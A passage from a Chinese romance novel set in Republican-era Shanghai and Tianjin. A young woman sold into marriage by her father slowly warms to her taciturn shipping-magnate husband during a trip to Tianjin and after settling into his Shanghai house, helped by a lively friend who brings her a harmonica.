「万国桥……我好像听过这个地方。」她虽然无力远行,但一直非常注意有关旅游方面的消息,也时时拉长耳朵听别人说。

「算是天津的地标之一,只要来天津游玩的人,都会去那个地方。」是一个非常著名的旅游胜地。

「我懂了。」金安琪纳闷他为什么对天津这么了解?不过仔细想想,他既然在天津开了一家分公司,矿坑又在附近,对天津熟悉也是理所当然的事,反倒是自己土包子,太大惊小怪了。

原则上她并没有猜错,这些的确都是辛海泽为何对天津熟悉的原因。不过他之所以对天津的一切如数家珍,是因为他同时也在此地开了一家旅行社,承办国内外的旅游业务,理所当然要对天津有所了解。

车子跑着跑着,很快跑到老龙头火车站附近,万国桥就在那个地方。

「快一点下车,不然就要赶不上时间了。」辛海泽才将车子熄火,便很难得地要求金安琪加快速度,这让金安琪一头雾水外加好奇,他一向很沈稳的。

不过她还是赶紧把车门推开,追随辛海泽的脚步,到达岸边。

只见宽广的海河上,横跨着一座造型独特的大桥。桥的上层结构由钢衍架及纵横梁组成,下层开启跨桥面用木板铺成,固定跨则是混凝土桥面,是非常有趣的设计。

「总算赶上了。」辛海泽心满意足地看着一艘吨位颇大的轮船,朝他们迎面而来。金安琪不明白他为什么一定要到这里来,桥是很漂亮,但没有什么特别……

突然间从中往上开启的桥梁,瞬间改变金安琪的想法。

她樱唇微张地看着雄伟的大桥,由两边一吋一吋往上扬,既像开花,又像佛手,让桥底下的轮船通过,看得她睁大眼睛,惊呼连连。

「你看,桥开了!」她兴奋不已地指着正在通行的轮船,大声欢呼。

「桥竟然开了,怎么会这样?」她显然很开心,如蜜般的娇颜绽放出兴奋的光彩,笑容异常灿烂,辛海泽彷佛又看见昔日天使。

「妳应该时常笑的。」虽然她微笑的时候很美,但大笑更适合她,更符合他印象中的金安琪。

「对不起,我失态了。」经他这么一说,金安琪才发现自己居然在无意中表露出真实情绪,连忙收敛。

「一点也不。」辛海泽摇头。「我倒觉得妳刚刚的笑容很美、很开心,我宁愿妳一直都是这么笑。」

「是吗?谢谢。」金安琪不好意思的低下头,回避他温柔的视线。「如果刚才我做了什么不文雅的举动,还请你原谅我,我平常不是这个样子。」

「安琪!」他一点都不觉得她这样做有什么不妥,她为什么要这样苛责自己呢?

「不过,我真的觉得很开心。」想到他居然为了让她赶上桥开启的时间而拚命,她就觉得很窝心,好感谢辛海泽。

「我已经好久不曾接触这么有趣的事物,这一切都要谢谢你。」他细心为她安排一切,甚至为了带她观光,草草结束跟分公司经理的讨论,真的是难为他了。

「只要妳开心就好。」能再次见到她灿烂的笑容,是人世间最美好的风景,无论付出多大的代价都值得。

「我很开心。」她再次保证。「至少这次我是真的看见风景,而不是只能凭空想象。」

「安琪……」

「就像我曾经跟你说过的,我家很早就是空壳子,只是为了维持表面上的风光,不得不端出派头。」金安琪双眼迷蒙地回忆道。

「我还记得,每次为了掩饰家中的窘况,我们都必须被迫当着亲朋好友的面,提着行李搭车假装要去旅行,结果都只是在上海市绕几圈以后,便从后花园偷偷溜回去,从来就不是真的出门。」

「安琪……」

「所以,我特别爱看有关旅游方面的报导。」金安琪抬起头对他甜甜一笑,美丽的笑容狠狠揪疼了他的心,好为她难过。

「只是很可惜,这方面的报导太少,不太有机会看得到,我这愿望,也就时常落空了。」最后,她又用一个美丽的微笑结束她的告白,辛海泽还是心疼。

问题是,他不懂怎么去安慰她,他既不想提起往事,又不想说些空洞无意义的话,于是只得握起她的手,轻轻说了一声:「走」。

「走到哪里去?」她尽量跟上他的脚步,他走得好急。

「带妳去参观更好玩的地方。」这即便是他的处世原则:少说话,多做事,行动足以代表一切。

金安琪先愣了一下,后开心地追上。接下来的时间里面,就看见辛海泽开着借来的车子,跑遍天津大街小巷,金安琪也放大胆地尝试各种她没吃过的食物,两人都玩得非常开心。

「天黑了。」他们甚至玩到夜幕低垂都不自知,可见他们有多愉快。

「该回饭店休息了,我载妳回去。」辛海泽转动手中的方向盘,将车子调头往饭店的那头驶去,约莫过了一个钟头,他们才又回到利顺德饭店。

饭店的仆欧早已经将他们的行李提到房间放好,收在角落的行李柜里。

辛海泽订的这套房是上等房,除了客厅之外,还有两个房间,另外还有一个共用的浴室。

「我先出去一下,妳如果累了的话可以先洗澡,不必特意等我。」话毕,辛海泽拿起车钥匙又往外走,金安琪一样只能目送他离去。

……

先洗澡吧!免得待会儿他回来了,还得和他抢浴室,那多尴尬。

金安琪决定趁辛海泽外出的时候洗澡,等她洗完了澡,换上了便服,辛海泽依旧还没有回来,于是她只好看着客厅发呆。

……

总共有两个房间。

目光转向两扇一左一右,紧紧相临的深色桃心木门,金安琪的心开始狂跳,猜测辛海泽会如何处理他们的关系。

打从新婚夜起,他就没有碰过她,也不曾勉强她或征询过她的意思。但当时是在船上,她身体又不舒服,现在他们已经到达陆地,他会怎么做呢?

金安琪实在不敢想象,万一辛海泽要求她履行夫妻义务,她要怎么回应?她光想象和他嘴对着嘴,就不敢再想下去了,更何况是抱着她?她一定会晕倒的──

「安琪。」

想象已经够刺激了,辛海泽这时候竟又出声叫她,吓得金安琪的身体都僵硬起来。

「你回来了。」她尽可能平静的面对他,辛海泽看了她僵硬的表情一眼,从背后拿出某样东西。

「这个给妳。」

他拿出来的,是一本杂志。

「不是最新一期的,但时间太晚,我认识的旅行社都关门了,只能弄到这一本。」

让辛海泽费尽千辛万苦,开着车一条街一条街寻找的杂志,竟是金安琪稍早提过的旅游杂志,他居然帮她弄到手了。

「我……」她说不出有多感动,她手上的这本「旅游便览」是中国旅行社出版专门介绍各地风景的月刊,是非卖品,一般人很难得到的。

「我去洗澡了。」但是辛海泽不让她有道谢的机会,便转身走向行李柜,拿出自己的皮箱,单独走进右边的房间。

金安琪尴尬地站在原地,可以感觉到他在生气,但她不知道他在气什么?他的想法,真的很难猜。

然而辛海泽并非生气,而是沮丧,她好像永远都无法适应他的存在。每次当他以为他们的关系稍微前进了一点,她就会立刻退缩,她刚刚突然僵直的身体,就是最好的证明。

他们两人之间的关系,就像不断洒落在地上的热水,顷刻流逝。

辛海泽曾以为他会安于默默等待,会甘心只在一旁守护,然则当他们真正在一起,他却又希望能够擦出火花,即使是一点点都好。

莲蓬头下,辛海泽双手扶住墙壁,不断地摇头苦笑,怨恨自己太贪心。

客厅中,金安琪将杂志紧紧压在胸前,两眼迷惘地盯着辛海泽房间的门板,嘴巴合了又张,张了又合,欲言又止。

他到底在想什么?

她到底在想什么?

此刻,他们都想找到答案。
微风徐徐,他们又回到海上。

由于辛海泽在天津就已经将所有事情办妥,因此他们确定不会再去秦皇岛,而是直接由天津回上海。

「这边是阅览室,那边是餐厅……」

回程的途中,辛海泽带领金安琪参观客轮,来程时她因为严重晕船,根本无法离开舱房。但回程的时候就好多了,风浪比较小,她也慢慢习惯船身的摇晃,最重要的是,辛海泽不知上哪儿弄来可以预防晕船的特效药,只要搭船前的半个钟头吃一颗,就不会晕船,金安琪就靠这些神奇的小丸子度过最难熬的时刻。

「……这里是烫洗部门。」

他们从客轮的最上层开始参观起,一路参观到最底层的烫洗部,只看见里面烟雾弥漫,热气冲天,工作人员不是忙着洗衣服,就是忙着烫衣服,非常忙碌。

「其他的客轮,也有这样的服务及设备吗?」金安琪用手挥开眼前的烟,顺便咳了两下,辛海泽连忙将舱门带上。

「不一定。」他答。「这要看轮船公司的老板怎么想,大部分的老板都不认为南北洋线需要用到这么复杂的设施,他们宁可把这些空间用来隔成更多的舱房,容纳更多的旅客,以赚取更多的运费。」

「可是这样旅客不就很不方便?」金安琪纳闷。「就算是南北洋航线,也得花好几天的时间待在船上,如果没有一处可供休闲的地方,旅客岂不是会很无聊?」

「是啊!」辛海泽十分同意她的话。「所以我才开辟阅览室和弹子房,这些都是远洋客轮才有的,一般的国内线没有。」

毕竟行程短,利润也相对降低。以上海到天津这条航线为例,最贵的特等舱虽然要价七十五洋元,但最低的三等舱却只要七洋元,表面上虽然差距颇大,但能住得起特等舱的旅客并不多,大部分的旅客还是以中价位的二等舱为主,而那也不过十几元而已。

「我知道有些客轮,只把这些设备开放给特等舱及头等舱的旅客使用,二等舱以下的旅客不得进入。」她的朋友几乎只搭特等舱,有些特别爱炫耀的,都会提起这件事,以彰显他们的身分。

「我的轮船不会做这么没人性的规定。」辛海泽严肃地摇头。「每个人都是生而平等的,即使一时失志,甚至一辈子落魄,都不该被看不起,或遭受到不公平的对待。」

也许是因为自己曾经历过类似的痛苦,辛海泽发誓他绝不会用同样的方式对待任何一个人,总愿意给人机会。

「你真是个大好人。」金安琪有感而发地说道。

「只是尽我的能力而已。」辛海泽耸肩。

「可是有些人有能力,却吝于付出,甚至把所有过错归咎到他人身上。」比如她父亲,有钱的时候从不见他捐献或是救济穷人,落魄了,没有钱了,就把脑筋动到她身上,还指责她生错性别。

「安琪……」他不知道她说这些话是抱怨,或只是纯粹有感而发?抑或在她的内心深处,始终不能原谅他用钱买下她的事实,始终在意?

「我昨天看了一本杂志,里面有一篇报导好有趣哦!我还看到了一张两个女人一起骑机械马的照片,上面还注解说骑马对肝脏很有好处,是不是真的?」

但看她的样子,又不像是他想的那样,是他多心了。

「那应该是健身房里面的配备。」辛海泽解释,眼底升起和她相同的兴趣。

「健身房?」感觉起来就是很时髦的玩意儿。

「嗯。」辛海泽微笑。「据我所知,外国有些远洋客轮都设有健身房,里面放了些有趣的设备。」

「比如我所看见的机械马?」金安琪感兴趣的问。

「还有脚踏车。」辛海泽笑着回答。「就是那种只要妳用力踩,前方转盘上的指针就会移动,告诉妳踩了多远的健身脚踏车,也非常有趣。」

「好羡慕那些洋人都有这么有趣的设施可以玩。」虽然讨厌洋人的长枪大炮,但有时不得不承认他们的科学真的发展得很好,每天都在创新。

金安琪感叹。

「确实如此。」这点他们倒是很有默契。「所以我计划有朝一日,能够在船上引进健身房,让大家也能享受到同样的乐趣。」

「如果真的有这么一天,我一定第一个试玩!」金安琪自愿当先锋,积极的态度,让辛海泽觉得很惊讶,也很欣喜,金安琪却觉得很不好意思。

「呃,我是说……」她又做出不合宜的举动了,怎么办……

「我很高兴听见妳这么说。」辛海泽的语气比任何时候都要温柔。「本来我还担心妳再也不敢踏上船一步。」

「我自己也很意外。」金安琪吶吶的回道。「这都要归功于你为我找的晕船药,谢谢你。」

「那么我们就说定了,等我哪一天在船上建好了健身房,妳得再陪我坐船旅行。」两个人一起上健身房大显身手。

「嗯,说定了。」金安琪点头,感觉前所未有的开心。自从那天晚上,他们莫名其妙的冷战以后,就属此刻的气氛最好,他们两人都很珍惜。

这样的好气氛,一直持续到他们回上海。

虽然他们依旧没有发生关系,但气氛比起先前来不知道要好上几倍,他们彼此都很满意。

「老板,夫人。」他们甫下船,辛海泽的司机便已经在码头等待他们,帮他们提行李。

「谢谢你,小刘,辛苦你了。」辛海泽帮金安琪打开后座车门,让她先坐进去以后,再跟着坐到她身边,将车门关上。

「请问要直接回家吗?」司机问辛海泽,辛海泽点点头,让司机直接把车子开回家,凯迪拉克452强力的引擎再一次发动,将他们载往辛海泽的住处。

经过了长时间的旅行,金安琪其实已经累了,好想早点上床休息,但她还是好奇。不晓得辛海泽的房子长什么样子?会是新式大楼吗,还是新型公寓?她听说现在很多人不时兴住洋房,比较喜欢设备新颖的大楼。她记得她的大学同学中,就有不少人住在新式大楼,成天炫耀住大楼有多方便。

车子在大街上行驶,从繁华的南京路转进幽静的金神父路,进入一栋占地宽广、外型优雅的洋房。

总楼层只有两层的洋房,全覆着红砖。红砖外墙的转角处,另外用白色水泥做加厚处理,二楼有个突出阳台,阳台下面的一楼大厅,则是整片的挑高落地窗,由上而下垂挂着白色缇花窗帘。

当金安琪看见洋房的时候,整个人都呆掉了。

辛海泽的这栋洋房,外型跟她家好像!同样是红墙,同样只有两层楼高,不同的是占地要大上许多,足足大了好几倍,但仍给她一种回到家的感觉。

她的眼眶不禁泛红,曾经她以为必须永远离开母亲亲手设计的房子了,没想到会在此地看见另一个缩影。

「辛……」她不知所措地转头问辛海泽,想藉由他的表情证实这不是巧合。只见他点点头,告诉她这一切都不是巧合,他就是这么用心,让金安琪好感动。

「我只是想,如果能在熟悉的环境里面生活,妳会比较容易适应。」他对她的呵护,已经到了无微不至的地步,竟连房子都是仿照她家建造,金安琪简直不知该说些什么。

「谢谢。」这是她唯一能说的话,而且她已经不知道说过几回了,依然无法完全表达心中的感受。

「老爷、太太,你们回来了。」姆妈早已经等在门口,一听见车子熄火,立刻帮他们开门。

「是的,颜妈,我们回来了。」辛海泽将帽子脱下来交给姆妈,自个儿将行李扛进屋子里面。

金安琪跟在辛海泽的后面进入洋房,房子里头全铺上了柚木地板,感觉非常温馨。

「要不要先喝口茶或咖啡再上楼?」辛海泽很体贴地问金安琪,就怕她口渴。

「不用了,谢谢。」金安琪摇摇头,她只想早点上床休息。

「我带妳到房间。」辛海泽知道她累了,也不勉强她,直接带她到二楼房间。

跟着上楼的金安琪心脏扑扑地跳,既害怕又期待看见他们夫妻俩的卧室,但最教她心跳不能自已的,还是不时闪过她脑海中的亲热画面,每每教她坐立难安……

「这是妳的房间。」

只不过,她白操心了。

他们根本不是睡在同一个房间,而是一个人一间,中间只隔着一扇门,完全是洋人作风。

「好的,谢谢。」她很失望,但表面完全看不出来。

「那我就把行李放在这边,妳有空的时候再整理。」他帮她把白色皮箱放在房间的角落,转身就要离开。

「对了!」他突然想起一件事,于是又将身体转正。「我会派人去妳的娘家,将妳的东西全部搬过来,妳可以先拟好清单交给我,我再请人一一核对。」

辛海泽非常细心,怕她不好意思请他派人搬行李,干脆主动提及。

不料他的好意,却让金安琪无地自容,头垂到快到地上,支吾了半天才开口。

「根本没有任何东西。」她吶吶地说道。「我所有财产都在那只小皮箱里,娘家已经没有任何东西。」

她曾经拥有的华服、首饰,都被她父亲拿去一一典当,什么也不剩。要不是她坚持,她父亲连母亲送给她的小座钟都想拿去卖,最后还是靠她拿出一柜绝版书交换,才得以保住。现在的她,除了几件旧衣服,和母亲送给她的小座钟,什么都没有,哪还需要开清单呢?

「安琪……」

「你被骗了。」想到自己竟然落魄到这个地步,金安琪既想哭,又想笑,还有更多的无奈。

「其实我穷得比仆人还要穷,只是外表好看,身上一毛钱都没有,根本毫无价值。」他一定以为他买到了一件上等货,其实是瑕疵品,而且倒楣的是还不能退货,现在他一定很后悔,气自己为什么要胡乱开价了。

「别这么说,在我心中,妳──」辛海泽要金安琪别乱想,只是老毛病又犯,一样话说一半。

「我怎么样?」她不明白他为什么总不肯把话说清楚,要她一再追问。

价值连城。

在辛海泽的心中,她是不可取代的宝物,是上天派到人间拯救他的天使,然而个性使然,总让他在最后关头止住,不敢往前跨步。

「没什么,我先出去了,妳好好休息。」说完,他又掉头离去,金安琪一样得不到答案。

所以说,他们一直无法进入状况,绝不是金安琪一个人的错,辛海泽恐怕必须负更大的责任。

但金安琪实在太累了,根本无力再去想这件事,不要说她没有勇气,就怕知道了,也不知如何反应,只得先上床休息,至于行李,等她睡醒以后再收拾吧!反正也没几件。

长时间的旅行加上舟车劳累,使她几乎一碰到床就沉沉入睡,陷入无止境的梦境里。

梦中的她看起来是这么安心,因为她终于可以不再烦恼拍卖会的事,大势已经底定。

梦中的她看起来是这么哀伤,因为她虽然已经知道她属于谁了,却产生了新的疑问。

他为何买下她?

是因为同情?怜悯?还是有别的原因?

他是那么难懂,忧郁的眼神几乎不泄漏任何情绪,她无从得知……

睡梦中的金安琪在梦境的海洋里载浮载沈,彷徨无依找不到依靠,更游不到岸,直到一道低沈的声音将她唤醒。

「安琪?」

彼岸那端,辛海泽正带着关心的眼神,伸手将她拉离梦境,她才得以浮出水面。

「你回来了。」她不知道他去了哪里,但无所谓,重要的是他回来了。

「嗯,出去一会儿。」他确实是出外办点事,并获得了成果,这些「成果」现在就堆在房间里面,如同海洋一样将他们包围。

金安琪刚脱离了梦境的海洋,却又掉入了另一个梦境。

印着永安、先施、新新三家百货公司名字的纸袋及礼盒,层层迭迭地放满整个房间,只留下很小的空位让辛海泽站立。

「我趁妳睡觉的时候,到百货公司逛了一下,买了一点东西回来,妳看看喜不喜欢。」辛海泽指指他手边、以及身后那些包装袋,有几顶帽子的帽檐还因为装不下暴露在空中,粉嫩的颜色令人爱不释手。

「我……」她已经说不出话,这样的恩宠比梦境还美,教她如何相信这是真的?

「我不是很懂女孩子用的东西,只好请教朋友的妻子。」葛依依。「她告诉我,只要是我选的,妳都会喜欢,但是……」他没把握,葛依依天生鬼灵精怪,想法硬是与人不同,万一她要是错了怎么办?他又不能把这些东西退回给百货公司……

「我很喜欢,谢谢你。」她虽然还没能亲手拆开这些礼物,但光看颜色就足以令她充满喜悦,她最爱粉嫩色系。

「真的吗?」辛海泽总算松一口气。「本来我还担心……对了,还有这个。」他接着从身后拿出握了很久的东西出来。「这个也是我特地为妳买的,希望妳会喜欢。」

辛海泽拿出来的,是一条粉红色貂毛领围,毛色均匀,染色染得非常漂亮,是一条上等品,少说也要好几百元。

「你……」她愣愣地注视着他手中的领围,半天无法说话。「你怎么知道我最喜欢粉红色领围?」

他为什么知道?当然是因为他始终难忘她系着粉红色领围,对着他说:「大哥哥,你肚子饿了吗?这个给你。」的样子。

她是他的天使,有关天使的一切,他始终记得,始终将它们存放在内心角落。她的影像帮助他度过最难熬的日子,她的微笑带给他希望,即使在多年后的今天,他依然没办法忘记,那个围着粉红色兔毛领围的小女孩。

「因为……」他就是那个小时候曾被她救过的少年,没有她施舍的牛奶、面包,他早饿死在船上,也不会有今日的航运大亨。

「因为……」他的自尊心太强,如果被她知道,他曾经像乞丐一样靠着乞讨过日,她会怎么想?恐怕会更加看不起他吧!

「因为我觉得妳很适合这个颜色,如此而已。」他不能让她知道,他就是当日那个跟她乞食的少年,他还没有勇气说出口,还没有!

「哦!」她不明白他为何变了脸色,刚才明明还很高兴的。

「这些东西就麻烦妳自己整理了,我会请颜妈上来帮妳,我先回房间去了,晚安。」接着他像被蜜蜂叮到一样地仓皇逃走,金安琪根本来不及向他道谢,他便一溜烟不见。

……他真的很难懂哪!

看着被用力关上的门板,金安琪再一次坠入五里雾中,摸不着头绪。

不过,她倒是很高兴,他送给她领围。

把脸埋进蓬松柔暖的貂毛领围,金安琪的心暖暖的、甜甜的,嘴角泛出一抹甜美的微笑,彷佛又回到从前。


锵!

红色的子球被白色的母球击中落袋,站在桌边的傅尔宣沮丧地哀嚎了一声,慕唐这混帐又清光台面。

「承让了。」蓝慕唐向傅尔宣做了个举手礼,气得他牙痒痒的。这已经是傅尔宣不知道第几次输给蓝慕唐了,若是赌钱,早已欠下一屁股债。

「我说尔宣,你干脆从此高挂球杆算了,干嘛还出来跟人丢人现眼?」练了几年的弹子都没进步,也真为难他了。

「你也好不了多少,皓天。」傅尔宣不服气地转向韦皓天,还以颜色。「你还不是打了好几年的弹子,至今没打赢过维钧一场,还好意思说我?」

「至少我有在进步,你完全没有。」韦皓天不客气地反驳。「再说不只我打不赢维钧,你们也打不赢,不光是我一个人的问题。」

商维钧堪称是弹子之王,所到之处,一片焦土,他们不过就几年球龄,怎么可能赢得了他?白费力气罢了。

「看样子只能寄望海泽了。」大家都把视线集中到辛海泽身上,原因无他,只因上回他差点打败商维钧,虽然功败垂成,倒也可喜可贺。

「别指望我,上回是我运气好,维钧又染上了感冒,最后还不是输了?」辛海泽对求胜的欲望不高,反正只是消磨时间,胜败与否,不必在意。

「海泽就是这种个性,对任何事情都不强求。」除了生意之外。「这种个性是好是坏我不知道,但我怀疑有女人受得了你。」

蓝慕唐叹气。

「说到女人……你和你太太处得怎么样了,有没有进展?」韦皓天算是过来人,也最有资格过问辛海泽的婚姻状况,辛海泽也不隐瞒。

「像我这么闷的人,想要有进展,还真不容易。」他说话的语气,带有浓浓的自嘲,大家你看我一眼,我看你一眼,伤透脑筋想如何帮他。

「别再说了,继续打球吧!」辛海泽显然不想再讨论这个问题,大家只得也拿起球杆,准备上阵。

只要是辛海泽不想透露的心事,他们就算将他严刑拷问到死,也逼不出来。不过他嘴里虽然不求援,傅尔宣还是想到了帮助辛海泽的办法,这就要动用到他老婆。

隔天,风和日丽,阳光普照,天气十分不错。

辛海泽一大早就去上班,金安琪在家看书,她躺在床上看向窗外,只见庭院一片绿草如茵,大树枝叶浓密,空气中充满蝉的叫声。

好宁静。

这安详的景色,让金安琪感到一阵神清气爽,心旷神怡。以前在家时,家里也一样安静,但她总觉得不开心,总被阴沉沉的气氛压得喘不过气来,和现在感觉大不相同。

金安琪低下头来继续看书,本来以为这样的宁静会持续到辛海泽下班后才有所改变,门口不期然传来敲门声。

叩叩叩!

她以为是姆妈,随口喊了声:「进来。」结果开门的是一位长相清秀,有着一双灵活大眼的女孩。

「哈啰!」她一进入房间,就对金安琪打招呼,和善开朗的笑容,让人很难拒绝。

「哈……哈啰。」金安琪总觉得她有些面熟,但又想不起在哪儿见过她,但很喜欢她的笑容,看起来很亲切的样子。

「妳还记得我吗?」葛依依朝金安琪眨眨眼。「我是傅尔宣的太太葛依依,我们在婚礼上见过面。」

葛依依提醒金安琪她们确实曾打过招呼,金安琪这才想起葛依依。

「对不起,一时没认出妳,真是抱歉。」金安琪还记得当时就很喜欢葛依依,她活泼开朗,大方外放,个性和她完全不同。

「没关系,人太多了嘛!」葛依依笑笑,走到金安琪床边坐下,大方同她聊天。

「那天最起码去了四、五百个人,我还是第一次看见海泽这么大手笔,可见他一定很疼妳,妳真幸福。」

她不只开朗,还很直接,露骨的说法说得金安琪的脸都红起来,觉得葛依依好大胆。

「我也没想到他会这么费心……」远远超乎她的意料之外……

「因为他喜欢妳嘛!」葛依依大胆地说,金安琪的脸更红了。

「我不知道他是不是喜欢我……」她只知道他用钱买下她,至于什么动机,她到现在还在猜,也没有勇气问。

「他不喜欢妳的话,干嘛去和那些放荡的公子哥儿竞标?海泽可不是那种会一时兴起的人,相信我。」若要问她五龙之中,谁最帅?当然是她老公。若要问她五龙之中,谁最好?当然还是她老公。若要问她五龙之中,谁最沈稳?抱歉,她老公就排不上名了,就她个人认为,是辛海泽。

「我知道他不是这种人,就是这样我才不明白,他到底为什么……」剩下的话她说不出口,无法坦然接受被拍卖的羞辱,那太伤人了。

「这点妳也问倒我了,我和妳老公还没有熟到可以互相吐露心事的地步,所以我也无法给妳答案。」而且她认为天底下没有人能真正了解辛海泽的想法,他就像他的名字一样,凡事都埋在最深的沼泽里,等待有心人挖掘。

「……」金安琪的失望全写在眼底,她原本以为葛依依能给她答案的,就算是一点点线索也好。

「我们别再谈这件事了,妳看,我带了什么东西给妳!」葛依依从皮包里面,拿出一个绿色的长型丝绒袋子,放到金安琪的手里,她打开袋子,发现是一支口琴。

「我听说妳会弹钢琴,应该也会吹这个玩意儿吧!」葛依依用下巴点点金安琪手中的口琴,模样非常可爱,却教金安琪觉得很为难,钢琴和口琴虽然只差了一个字,演奏技巧却是相差十万八千里,八竿子打不着边。

「我、我不会吹。」她一脸抱歉的看着葛依依。「谢谢妳特地带了这支口琴给我,但是我不会吹口琴……」

「别这么说,试试看嘛!」葛依依劝金安琪。「这可是我硬从尔宣的洋行里拿出来的珍品,本来伙计还不肯让我拿呢!我跟他讨价还价了好久,他才肯给我,妳就别辜负我的好意。」

葛依依是个高明的说客,硬的不行就来软的,这会儿换成人情攻势。

「这……好,我试试看。」在人情的压力下,金安琪拿起口琴吹了一下,怎么都吹不出声音,只听见「呼呼!」两声,但那是她的吹气声,口琴里面的弹簧片,根本都没有动。

「我觉得妳应该先吸气,再吐气。」葛依依在一旁技术指导。「我看那些吹奏口琴的人,嘴巴都鼓得像青蛙,像这样──」

接下来就看见葛依依嘴巴吹了又放,放了又吹,真的像极了一只大青蛙。

金安琪见状忍不住「噗」一声笑出来,觉得她好有趣。

「看吧!就是这么简单,妳按照我的模样,再吹一次。」虽说葛依依不懂乐器,但对自己的模仿功力深具信心,也要金安琪照办。

「嗯,我试试看。」金安琪再次拿起口琴,照着葛依依的方式吹,结果越吹越糟。

「不对不对,妳要先吸气。」葛依依在一旁摇头,金安琪只得再试一次。

「不对不对,还要吐气,吸跟吐都要。」葛依依像个指挥官一样,用嘴说不够还用手比,瞬间只见到两个大女生「呼呼、哈哈、呼呼、哈哈」吹得不成调,她们两个人却乐坏了。

「哈哈哈!」她们笑到弯下腰,乐不可支。

「哈哈哈……」葛依依几乎笑岔气。「妳吹的那是什么调子?要是给尔宣知道,我竟然把他珍藏的法国口琴给当成玩具玩,一定会被他宰掉。」然后直接去见上帝,阿们!

「咦,这不是德国做的?」金安琪查看口琴上的刻字,上面写的果然不是德文,是法文。

「是法国。」葛依依笑着摇头。「我知道国内的口琴大部分都是德国和日本做的,但尔宣说法国有几个厂牌的口琴做得其实比德国和日本好,更值得珍藏。」

「妳懂得好多。」金安琪好羡慕她动不动就提傅尔宣,他们的日子似乎过得很甜蜜。

「学来的。」葛依依做鬼脸,唠叨抱怨。「身为洋行老板的妻子,什么东西都要懂一点,不然万一要是有人对我们经手的东西感兴趣,我要怎么跟对方说明?也是很辛苦的。」

她是真正去接触洋行的业务以后,才发现经营事业很复杂,难怪她老公这么忙,找不出时间陪她。

「是啊,凡事都必须学习。」金安琪好羡慕傅尔宣和葛依依他们夫妇感情这么好,连工作都在一起。

「没错。」葛依依跩个二五八万。「所以妳要赶快练吹口琴,我才好跟尔宣报告说我没有白拿东西,反将那个讨厌的伙计一军!」

说来说去,她还在怨恨洋行伙计阻止她拿口琴就对了,金安琪不禁又笑出来。

「好,我再试试看。」

在葛依依杂乱无章的指挥之下,金安琪吸气又吐气,曲子一样吹得乱七八糟,完全分不出音阶。

「哈哈哈……」

两人都笑岔了气,尤其是金安琪,从来没有这么开心过,和葛依依在一起真的很快乐。

「我觉得妳的笑容很美,应该要经常大笑才对。」葛依依说出她的观察,听得金安琪怪不好意思。

「海泽也说过同样的话,说我大笑的时候看起来特别开心,笑容特别美。」那天他还特地带她去看万国桥,她一辈子都会记得那个神奇的时刻。

「对吧?我就说嘛!英雄所见──咳咳!英雌所见略同。」葛依依紧急更正自个儿的话,活泼俏皮的模样,让金安琪好喜欢,也好羡慕。

「但是我父亲不喜欢我大笑。」想起她那冷酷无情的父亲,金安琪眼神都黯淡下来。「他总是一再强调女孩子一定要文静、要端庄,只能抿嘴微笑,不能开心大笑。」

「我了解父亲管教得太严的痛苦。」她就是一例。「不过现在妳已经脱离妳父亲啦!应该忘记他加诸于妳身上的束缚,开开心心地过生活,这才对啊!」

葛依依也算是过来人,她天生好动,想法又前卫,跟她保守的父亲格格不入。不同的是她敢大声争取反驳,金安琪却只会逆来顺受,以至于养成这种凡事保守,不敢往前的性格,葛依依真的好为她可惜。

「我已经……摆脱我父亲的束缚了?」真的是这样吗?如果是的话,为什么她心中还有那么多阴影,清都清不掉?

「当然。」葛依依点头。「现在妳应该试着走出去,多和外界接触,把妳父亲那迂腐的老头抛在脑后,重新过日子。」她天生跟老头子有仇,最早大战她父亲,后来又大战她公公,不过那是另一个故事了,这里不提。

「我──谢谢妳。」谢谢她特地带口琴给她,还说了这么多话激励她。

「客气什么──嘘。」葛依依话说到一半,突然起身比了个噤声的手势,要金安琪别再说话。

金安琪一头雾水地看着葛依依用力打开房门──

「有人站在这里偷听。」她得意洋洋地看着被她逮着的辛海泽,不明白他既然已经回来了,干嘛不大大方方地敲门,反而像小偷似地站在门口。

「嗨!」都已经被逮到了,辛海泽除了打招呼之外,似乎也不能多做什么。

「进来啊!」谁说的?他能做的事情可多着呢!他可以取代她的位子,陪他老婆聊天。

「你回来得正好,我正要走,你就代替我陪你老婆吧!」葛依依拿起皮包就要走人,夫妻两个人同时叫住她。

「依依──」

「我走了!」她开心地朝金安琪眨眨眼,教她别担心。「我会再来看妳,今天就到此为止,再见。」

然后又走到辛海泽身边,在他耳边撂话。「多说些好听的话,别把事情又搞砸了。」

最后还很体贴地帮他们关上房门,让他们夫妻独处。

葛依依的脚步声还没飘远,习惯性的沈默眼看着又要卷土重来,还是靠葛依依临走前留下的警告挡着,才没又酿祸。

多说些好听的话。

辛海泽沈默了半晌,说:「我也觉得妳的笑容很美,应该时常开心大笑。」

这不是什么了不得的赞美词,之前他就说过了,但她那时没有多大感觉,甚至责怪自己,现在却感动万分。

「以后我会让自己笑得开心点。」而不只是压抑性的微笑,金安琪跟他保证。

「这才对。」辛海泽好高兴她终于看开,依依的搞破坏功力果然不是盖的。

金安琪用力点头,葛依依当然有很大功劳,但最主要是她自己也想摆脱她父亲的阴影,以及──好好爱他……

「这是口琴吗?」辛海泽指着金安琪手中的口琴,金安琪连忙将口琴交给他。

「嗯。」她解释。「是依依特地带来送我的,说是法国货,但我怎样都吹不出曲子。」真丢脸,亏她还学过钢琴……

辛海泽完全不意外她吹不出曲子,刚刚在门口就已经领教过她那可怕的吹奏技巧,差点没有震破他的耳膜。

金安琪原本以为他会将口琴还给她,没想到辛海泽居然拿起口琴,就往自己的嘴里头送,大大吓了她一跳。

「我、我……」我的口水还留在口琴上面……

但他已经握住口琴,开始吹奏「蓝色多瑙河」,她根本来不及阻止。

他们好像间接接吻了,怎么办……

口琴悠扬独特的琴音,穿透窗户的空隙,停留在庭院大树的树梢上。

这美好的午后头得那么宁静,那么安详,它是属于恋人的时光。
自从那个美妙的午后,葛依依和辛海泽联手打开金安琪的心房以后,金安琪就变得开朗许多,也比较时常开心大笑了。

这当然要归功于葛依依,她是头号功臣。为了确保战果,她甚至天天上辛海泽家报到,每次去都会带给金安琪一些稀奇古怪的玩意儿,让傅尔宣大感吃不消,宣称都要破产了。

这天,五龙们又在弹子房切磋球技,顺便聚会联络感情。几场球打下来,最大的输家仍然是傅尔宣,他的球技,依然没有多大进步。

「不玩了。」打三场,输三场,还玩个什么劲儿啊!

「喂,别没风度。」蓝慕唐笑嘻嘻地收起球杆,每次都是他赢,真不好意思。

「哼!」傅尔宣气呼呼的回到座位,将球台让给最新一组人马──商维钧和韦皓天,不消说,大家一定是赌商维钧赢。

